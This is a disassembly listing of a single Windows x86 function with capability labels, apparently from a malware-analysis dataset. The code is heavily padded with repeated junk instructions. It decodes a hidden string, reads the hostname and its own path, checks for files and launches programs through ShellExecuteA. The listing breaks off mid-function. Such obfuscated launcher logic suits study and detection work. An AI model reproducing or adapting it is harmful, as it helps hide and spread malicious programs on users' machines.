Function at 0x4010d0
Capabilities:
Check if file exists
Create process on windows
Get common file path
Get file attributes
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x874
push edi
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov ax, word [0x408108]
mov word [ebp - 0x390], ax
lea ecx, [ebp - 0x390]
mov dword [ebp - 0x258], ecx
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov edx, dword [ebp + 0x10]
mov dword [ebp - 0x258], edx
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
push 0x8003
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov byte [ebp - 0x379], 0
mov byte [ebp - 9], 0
mov byte [ebp - 0x25e], 0
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x384], 0
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov byte [ebp - 0x231], 0
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov dword [ebp - 8], 0
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov byte [ebp - 0x120], 0
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x11f]
rep stosd dword es:[edi], eax
mov byte [ebp - 0x378], 0
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x377]
rep stosd dword es:[edi], eax
mov byte [ebp - 0x230], 0
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x22f]
rep stosd dword es:[edi], eax
mov byte [ebp - 0x254], 0
xor eax, eax
mov dword [ebp - 0x253], eax
mov dword [ebp - 0x24f], eax
mov dword [ebp - 0x24b], eax
mov dword [ebp - 0x247], eax
mov dword [ebp - 0x243], eax
mov dword [ebp - 0x23f], eax
mov dword [ebp - 0x23b], eax
mov word [ebp - 0x237], ax
mov byte [ebp - 0x235], al
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov dword [ebp - 0x268], 0
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov dword [ebp - 0x25c], 0x7f
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov byte [ebp - 0x385], 0
mov byte [ebp - 0x25d], 0
mov byte [ebp - 0x25f], 0
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
push 0x104
lea ecx, [ebp - 0x120]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
lea edx, [ebp - 0x120]
push edx
call fcn.00402d30
add esp, 4
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
lea eax, [ebp - 0x378]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov ecx, dword [ebp - 0x258]
movsx edx, byte [ecx]
cmp edx, 0x5f
jne 0x4014f8
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov eax, dword [str.dwoknqdq_dwd]
mov dword [ebp - 0x3a0], eax
mov ecx, dword [0x408110]
mov dword [ebp - 0x39c], ecx
mov edx, dword [0x408114]
mov dword [ebp - 0x398], edx
mov al, byte [0x408118]
mov byte [ebp - 0x394], al
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov dword [ebp - 0x3a4], 0
jmp 0x4013b6
mov ecx, dword [ebp - 0x3a4]
add ecx, 1
mov dword [ebp - 0x3a4], ecx
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
lea edx, [ebp - 0x3a0]
mov dword [ebp - 0x3b4], edx
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov eax, dword [ebp - 0x3b4]
movsx ecx, byte [eax]
test ecx, ecx
jne 0x401415
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov edx, dword [ebp - 0x3b4]
lea eax, [ebp - 0x3a0]
sub edx, eax
mov dword [ebp - 0x3b8], edx
jmp 0x401436
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov ecx, dword [ebp - 0x3b4]
add ecx, 1
mov dword [ebp - 0x3b4], ecx
jmp 0x4013d2
mov edx, dword [ebp - 0x3a4]
cmp edx, dword [ebp - 0x3b8]
jae 0x401487
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov eax, dword [ebp - 0x3a4]
movsx ecx, byte [ebp + eax - 0x3a0]
add ecx, 1
mov edx, dword [ebp - 0x3a4]
mov byte [ebp + edx - 0x3a0], cl
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
jmp 0x4013a7
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
push 1
push 0
lea eax, [ebp - 0x378]
push eax
lea ecx, [ebp - 0x3a0]
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
jmp 0x401583
mov edx, dword [ebp - 0x258]
movsx eax, byte [edx]
cmp eax, 0x2e
jne 0x401532
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov byte [ebp - 0x25d], 1
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
jmp 0x4025c6
mov ecx, dword [ebp - 0x258]
movsx edx, byte [ecx]
cmp edx, 0x24
jne 0x401583
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov byte [ebp - 0x25f], 1
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov byte [ebp - 0x25d], 1
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
jmp 0x4025c6
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
lea eax, [ebp - 0x120]
mov dword [ebp - 0x3bc], eax
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov ecx, dword [ebp - 0x3bc]
movsx edx, byte [ecx]
test edx, edx
jne 0x4015e2
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov eax, dword [ebp - 0x3bc]
lea ecx, [ebp - 0x120]
sub eax, ecx
mov dword [ebp - 0x3c0], eax
jmp 0x401603
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov edx, dword [ebp - 0x3bc]
add edx, 1
mov dword [ebp - 0x3bc], edx
jmp 0x40159f
mov eax, dword [ebp - 0x3c0]
lea ecx, [ebp + eax - 0x120]
mov dword [ebp - 0x14], ecx
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0x120]
sub edx, eax
mov dword [ebp - 0x380], edx
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
cmp dword [ebp - 0x380], 1
jle 0x401683
mov ecx, dword [ebp - 0x14]
movsx edx, byte [ecx]
cmp edx, 0x5c
je 0x401683
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov eax, dword [ebp - 0x14]
sub eax, 1
mov dword [ebp - 0x14], eax
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
jmp 0x401644
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov ecx, dword [ebp - 0x14]
movsx edx, byte [ecx]
cmp edx, 0x5c
jne 0x4016a9
mov eax, dword [ebp - 0x14]
movsx ecx, byte [eax + 1]
test ecx, ecx
jne 0x4016c0
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
xor eax, eax
jmp 0x402b30
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x26c], edx
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov eax, dword [ebp - 0x26c]
movsx ecx, byte [eax]
cmp ecx, 0x5c
jne 0x401738
mov edx, dword [ebp - 0x26c]
lea eax, [ebp - 0x120]
cmp edx, eax
jbe 0x401738
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov ecx, dword [ebp - 0x26c]
sub ecx, 1
mov dword [ebp - 0x26c], ecx
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
jmp 0x4016e9
mov edx, dword [ebp - 0x26c]
lea eax, [ebp - 0x120]
cmp edx, eax
ja 0x40175f
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
xor eax, eax
jmp 0x402b30
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov ecx, dword [ebp - 0x26c]
mov dword [ebp - 0x264], ecx
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov edx, dword [ebp - 0x26c]
movsx eax, byte [edx]
cmp eax, 0x3a
je 0x401862
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov ecx, dword [ebp - 0x26c]
movsx edx, byte [ecx]
cmp edx, 0x5c
je 0x4017fc
mov eax, dword [ebp - 0x26c]
lea ecx, [ebp - 0x120]
cmp eax, ecx
jbe 0x4017fc
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov edx, dword [ebp - 0x26c]
sub edx, 1
mov dword [ebp - 0x26c], edx
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
jmp 0x4017ad
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov eax, dword [ebp - 0x26c]
movsx ecx, byte [eax]
cmp ecx, 0x5c
je 0x401831
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
xor eax, eax
jmp 0x402b30
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov edx, dword [ebp - 0x26c]
add edx, 1
mov dword [ebp - 0x26c], edx
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
jmp 0x401891
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov eax, dword [ebp - 0x26c]
sub eax, 1
mov dword [ebp - 0x26c], eax
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
lea edx, [ebp - 0x25c]
push edx
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov ecx, dword [ebp - 0x14]
push ecx
lea edx, [ebp - 0x230]
push edx
call section..text
add esp, 8
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
movsx eax, byte [ebp - 0x230]
mov dword [ebp - 0x380], eax
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov eax, dword [ebp - 0x380]
cdq
mov ecx, 0xb
idiv ecx
mov dword [ebp - 0x380], edx
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
lea edx, [ebp - 0x230]
push edx
mov eax, dword [ebp - 0x380]
push eax
lea ecx, [ebp - 0x254]
push ecx
call fcn.004032b0
add esp, 0xc
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0x120]
sub edx, eax
mov dword [ebp - 0x380], edx
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov ecx, dword [ebp - 0x380]
add ecx, 1
mov dword [ebp - 0x380], ecx
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov edx, dword [ebp - 0x380]
mov dword [ebp - 0x414], edx
lea eax, [ebp - 0x120]
mov dword [ebp - 0x418], eax
lea ecx, [ebp - 0x230]
mov dword [ebp - 0x410], ecx
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
lea edx, [ebp - 0x230]
test edx, edx
jne 0x401a12
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
jmp 0x401ad6
cmp dword [ebp - 0x418], 0
jne 0x401a47
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov byte [ebp - 0x230], 0
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
jmp 0x401ad6
mov eax, dword [ebp - 0x414]
mov ecx, dword [ebp - 0x414]
sub ecx, 1
mov dword [ebp - 0x414], ecx
test eax, eax
je 0x401aad
mov edx, dword [ebp - 0x410]
mov eax, dword [ebp - 0x418]
mov cl, byte [eax]
mov byte [edx], cl
mov edx, dword [ebp - 0x410]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x410]
add ecx, 1
mov dword [ebp - 0x410], ecx
mov edx, dword [ebp - 0x418]
add edx, 1
mov dword [ebp - 0x418], edx
test eax, eax
je 0x401aad
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
jmp 0x401a47
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov eax, dword [ebp - 0x410]
mov byte [eax], 0
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
lea ecx, [ebp - 0x254]
push ecx
lea edx, [ebp - 0x230]
push edx
call section..text
add esp, 8
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
push 0x40811c
lea eax, [ebp - 0x230]
push eax
call section..text
add esp, 8
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov ecx, dword [ebp - 0x14]
push ecx
lea edx, [ebp - 0x230]
push edx
call section..text
add esp, 8
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x41c], eax
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
cmp dword [ebp - 0x41c], 0xffffffff
je 0x401b9a
movsx ecx, byte [ebp - 0x230]
test ecx, ecx
jne 0x401ba6
mov dword [ebp - 0x420], 0
jmp 0x401bb0
mov dword [ebp - 0x420], 1
cmp dword [ebp - 0x420], 0
je 0x401c5e
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
push 1
lea edx, [ebp - 0x378]
push edx
mov eax, dword [ebp - 0x258]
push eax
lea ecx, [ebp - 0x230]
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov byte [ebp - 0x385], 1
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov edx, dword [ebp - 0x258]
mov byte [edx], 0x6a
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov eax, dword [ebp - 0x264]
sub eax, dword [ebp - 0x26c]
add eax, 2
mov dword [ebp - 0x428], eax
mov ecx, dword [ebp - 0x26c]
mov dword [ebp - 0x42c], ecx
lea edx, [ebp - 0x378]
mov dword [ebp - 0x424], edx
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
lea eax, [ebp - 0x378]
test eax, eax
jne 0x401cba
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
jmp 0x401d7e
cmp dword [ebp - 0x42c], 0
jne 0x401cef
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov byte [ebp - 0x378], 0
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
jmp 0x401d7e
mov ecx, dword [ebp - 0x428]
mov edx, dword [ebp - 0x428]
sub edx, 1
mov dword [ebp - 0x428], edx
test ecx, ecx
je 0x401d55
mov eax, dword [ebp - 0x424]
mov ecx, dword [ebp - 0x42c]
mov dl, byte [ecx]
mov byte [eax], dl
mov eax, dword [ebp - 0x424]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x424]
add edx, 1
mov dword [ebp - 0x424], edx
mov eax, dword [ebp - 0x42c]
add eax, 1
mov dword [ebp - 0x42c], eax
test ecx, ecx
je 0x401d55
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
jmp 0x401cef
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov ecx, dword [ebp - 0x424]
mov byte [ecx], 0
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
movsx edx, byte [ebp - 0x378]
mov dword [ebp - 0x380], edx
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov eax, dword [ebp - 0x380]
cdq
mov ecx, 0xb
idiv ecx
mov dword [ebp - 0x380], edx
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
lea edx, [ebp - 0x378]
push edx
mov eax, dword [ebp - 0x380]
push eax
lea ecx, [ebp - 0x254]
push ecx
call fcn.004032b0
add esp, 0xc
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
push 0x105
push 0
lea edx, [ebp - 0x230]
push edx
call fcn.00403800
add esp, 0xc
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x120]
sub eax, ecx
mov dword [ebp - 0x380], eax
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov edx, dword [ebp - 0x380]
add edx, 1
mov dword [ebp - 0x380], edx
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov eax, dword [ebp - 0x380]
mov dword [ebp - 0x480], eax
lea ecx, [ebp - 0x120]
mov dword [ebp - 0x484], ecx
lea edx, [ebp - 0x230]
mov dword [ebp - 0x47c], edx
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
lea eax, [ebp - 0x230]
test eax, eax
jne 0x401ec5
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
jmp 0x401f89
cmp dword [ebp - 0x484], 0
jne 0x401efa
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov byte [ebp - 0x230], 0
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
jmp 0x401f89
mov ecx, dword [ebp - 0x480]
mov edx, dword [ebp - 0x480]
sub edx, 1
mov dword [ebp - 0x480], edx
test ecx, ecx
je 0x401f60
mov eax, dword [ebp - 0x47c]
mov ecx, dword [ebp - 0x484]
mov dl, byte [ecx]
mov byte [eax], dl
mov eax, dword [ebp - 0x47c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x47c]
add edx, 1
mov dword [ebp - 0x47c], edx
mov eax, dword [ebp - 0x484]
add eax, 1
mov dword [ebp - 0x484], eax
test ecx, ecx
je 0x401f60
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
jmp 0x401efa
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov ecx, dword [ebp - 0x47c]
mov byte [ecx], 0
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
lea edx, [ebp - 0x254]
push edx
lea eax, [ebp - 0x230]
push eax
call section..text
add esp, 8
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
